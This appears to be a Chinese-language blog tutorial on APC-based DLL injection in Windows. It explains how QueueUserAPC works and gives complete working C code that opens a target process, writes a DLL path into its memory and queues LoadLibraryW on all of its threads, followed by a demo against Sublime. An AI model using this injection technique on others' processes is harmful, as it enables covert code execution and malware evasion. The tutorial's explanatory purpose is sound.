原理
APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。
所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
注入流程和之前的远程注入差不多
QueueUserAPC
函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT
访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC
函数的第一个参数,即函数地址设置的是LoadLibraryA
函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA
函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode
实现
首先还是先获取Pid
DWORD Pid(WCHAR* szName)
{
HANDLE hprocessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hprocessSnap, &pe32))
{
do {
if (!wcscmp(szName, pe32.szExeFile))
return (int)pe32.th32ProcessID;
} while (Process32Next(hprocessSnap, &pe32));
}
else
CloseHandle(hprocessSnap);
return 0;
}
再通过获取的Pid来获取对应的线程id,循环插入APC,为了提高命中率可以对所有线程进行插入
DWORD dwThreadID;
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
HANDLE hTheader = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
BOOL S = Thread32First(hTheader, &te32);
while (S)
{
if (te32.th32OwnerProcessID == dwId)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
DWORD dwRet = NULL;
dwRet = QueueUserAPC((PAPCFUNC)dwLoadAddr, hThread, (ULONG_PTR)pRemoteAddress);
if (NULL == dwRet)
{
printf("QueueUserAPC:%d
", GetLastError());
return NULL;
}
CloseHandle(hThread);
}
S = Thread32Next(hTheader, &te32);
}
完整代码
DWORD Pid(WCHAR* szName)
{
HANDLE hprocessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hprocessSnap, &pe32))
{
do {
if (!wcscmp(szName, pe32.szExeFile))
return (int)pe32.th32ProcessID;
} while (Process32Next(hprocessSnap, &pe32));
}
else
CloseHandle(hprocessSnap);
return 0;
}
bool Inject( DWORD dwId,WCHAR* szPath)//参数1:目标线程id 参数2:目标进程id 参数3:目标dll路径
{
DWORD* pThreadId = NULL;
//一、在目标进程中申请一个空间
/*
【1.1 获取目标进程句柄】
参数1:想要拥有的进程权限(本例为所有能获得的权限)
参数2:表示所得到的进程句柄是否可以被继承
参数3:被打开进程的PID
返回值:指定进程的句柄
*/
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
/*
【1.2 在目标进程的内存里开辟空间】
参数1:目标进程句柄
参数2:保留页面的内存地址,一般用NULL自动分配
参数3:欲分配的内存大小,字节单位
参数4:MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
参数5:PAGE_READWRITE 区域可被应用程序读写
返回值:执行成功就返回分配内存的首地址,不成功就是NULL
*/
LPVOID pRemoteAddress = VirtualAllocEx(
hProcess,
NULL,
1,
MEM_COMMIT,
PAGE_READWRITE
);
//二、 把dll的路径写入到目标进程的内存空间中
DWORD dwWriteSize = 0;
/*
【写一段数据到刚才给指定进程所开辟的内存空间里】
参数1:OpenProcess返回的进程句柄
参数2:准备写入的内存首地址
参数3:指向要写的数据的指针(准备写入的东西)
参数4:要写入的字节数(东西的长度+0/)
参数5: 返回值。返回实际写入的字节
*/
WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, 0);
HMODULE hMoudle = GetModuleHandle(L"kernel32.dll");
LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hMoudle, "LoadLibraryW");
if (!dwLoadAddr)
{
printf("GetProcAddress Error !
");
GetLastError();
CloseHandle(hProcess);
CloseHandle(hMoudle);
return FALSE;
}
DWORD dwThreadID;
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
HANDLE hTheader = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
BOOL S = Thread32First(hTheader, &te32);
while (S)
{
if (te32.th32OwnerProcessID == dwId)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
DWORD dwRet = NULL;
dwRet = QueueUserAPC((PAPCFUNC)dwLoadAddr, hThread, (ULONG_PTR)pRemoteAddress);
if (NULL == dwRet)
{
printf("QueueUserAPC:%d
", GetLastError());
return NULL;
}
CloseHandle(hThread);
}
S = Thread32Next(hTheader, &te32);
}
return 0;
}
测试
这里还是使用Subilme来进行插入演示
成功插入弹窗
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行DLL加载代码,进而完成DLL注入。其中,为了增加APC被执行的可能性,所以向目标进程中所有的线程都插入的APC。
如果出现向指定进程的所有线程插入APC导致进程崩溃的问题,可以采取倒序遍历线程ID的方式进行倒序插入来解决程序崩溃问题。